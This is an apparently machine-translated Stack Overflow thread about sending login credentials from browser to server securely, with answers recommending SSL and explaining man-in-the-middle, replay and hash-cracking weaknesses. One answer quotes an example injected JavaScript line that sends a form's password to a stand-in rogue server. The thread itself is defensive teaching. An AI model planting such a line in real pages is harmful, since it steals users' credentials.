2012-01-25 46 views
3

我有一个我尝试启动的Web应用程序(Java)。用户需要登录系统才能使用这些功能。所以这个应用程序有两个部分:
1)用户注册
2)登录
我的担心是我的方法是如何安全的从Web浏览器传输用户名/密码数据到服务器。Web身份验证 - 如何安全地将用户名/密码从客户端传输到服务器

注册

我同意这一个丢失我真的不知道如何安全地从Web浏览器向服务器发送数据。

登录

我有以下设置:

< < 客户 >> ------------------------ ------------------------------ < < 服务器 >>
[请求代理] ---- -------------------------------------------------- ------- >>
< < -------------- [从会话ID发送一个randomely生成的令牌]
[客户端计算hashedSecret = SHA1(令牌+ SHA1(密码) )]
[发送阵列:[username,hashedSecret]] --------------------------------- - >>
[服务器查询SHA1(密码)用户名数据库]
[服务器计算expectedSecret = SHA1(令牌+ SHA1(密码))]



我想知道的是如何进行安全注册[服务器与expectedSecret比较hashedSecret]用户以及我的登录是否足够安全。

谢谢

+2

你的预期威胁是什么?如果您只关心数据包在线时的数据包嗅探,然后使用SSL并忽略您的任何想法 - 只需像使用任何Web请求一样发送用户/密码,SSL就会阻止嗅探器。 –

+0

你为什么不使用SSL? –

+0

HTTPS == HTTP + SSL 您的应用程序将从端口80更改为443(如果默认配置)并且将使用更多的cpu时间。但实施自己的握手逻辑也是一样。 并且是的,理论上,如果您向令牌生成添加随机盐,则您的操作是正确的。 – japrescott

回答

7

看来......太复杂了。只需使用SSL,这对银行来说就是行业标准并且足够好。

8

无论是“足够安全”,当然,只有您可以作为系统所有者回答。如果你的预期对手不熟练和没有动机,并且认证失败的影响很低,那么它就是。如果您保护的任何重要价值,那么它可能不是一个足够安全的解决方案。

以下是这种方法可能容易受到攻击的几个攻击媒介。

人在这方面的中间人攻击:

Client   Eavesdropper   Server 
Requests token-------X-----------------------> 
<--------------------X-------------Sends token 
Sends PW hash--------X 
         Relays client hash ------> 
         X<-----------Authenticates 

窃听者监听客户端的认证响应,然后将其转发给服务器。服务器验证其正确性并验证窃听者。

离线密码散列攻击

窃听者谁可以读取客户端和服务器之间的消息将有令牌和逻辑(与JavaScript)来生成散列。因此,攻击者将知道H(token + H(password)),tokenH(x),其中H是密码哈希算法(SHA1)。

然后,攻击者可以针对客户端响应猜测密码运行字典攻击,攻击者可以尝试使用字典攻击和类似方法来脱机破解密码。由于攻击者不需要对服务器进行身份验证,但可以离线破解密码,因此可以迅速破解中弱密码。在运输过程中

服务器消息的

变形例的客户端没有服务器的消息的完整性的保证,并且消息可以潜在在传输过程中被修改。例如,恶意中介可以将一行JavaScript插入HTML页面,该页面通过DOM拦截密码并将其发送给流氓服务器。 (A流氓中介可能,例如,插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value到表单提交方法。)

重放攻击

如果服务器的令牌以足够的频率重复,窃听者可以捕获一个成功的令牌/响应对。然后攻击者可以发出大量的令牌请求,等待一个已知的令牌被回收。攻击者然后将已知的令牌响应重播到服务器。服务器将攻击者的响应与预期的响应进行比较,并对攻击者进行身份验证。

认证后的攻击

会话通过身份验证后,客户端和服务器的消息将继续以明文形式发送。攻击者可能进行会话劫持攻击,使用客户端的会话cookie来构成经过身份验证的客户端。攻击者还可能拦截服务器和客户端之间的机密数据,或更改传输中的数据,从而危害客户端/服务器通信的机密性,完整性和不可抵赖性。例如,客户端可能会发送响应以执行BenignAction,攻击者将在传输过程中更改为GetSecretData。攻击者然后读取表面上包含秘密数据的响应。

这就是说,所提出的方法可能不会比以明文形式发送密码更安全。如果担心安全问题,将SSL与可信CA的证书一起使用(实际意图)可以有效地防止所有这些攻击。

0

@Quentin发布SSL是好的,以及今天在行业中使用的是什么。这是最容易实现的安全方法,但对我来说,它只会得到C级或更糟的等级才能保证安全。银行应用程序和其他网站使用更强大的安全方法,具体取决于您尝试保护的信息。

例如,StackOverflow.com使用标准POST表单来创建用户并通过SSL保护流量。这对于只是社区知识库网站的站点来说已经足够了。例如POST:

POST https://stackoverflow.com/users/login-or-signup/validation/track   
HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Accept: */* 
X-Requested-With: XMLHttpRequest 
Referer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-client 
Accept-Language: en-US 
Accept-Encoding: gzip, deflate 
Host: stackoverflow.com 
Content-Length: 240 
Connection: Keep-Alive 
Cache-Control: no-cache 

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign 

银行,而另一方面,像富国银行应用程序,将二进制序列化,私人客户端密钥加密和SSL形式的流量。这有点像“默默无闻的安全”,但它不仅仅是SSL。我的2Cents。干杯!

相关问题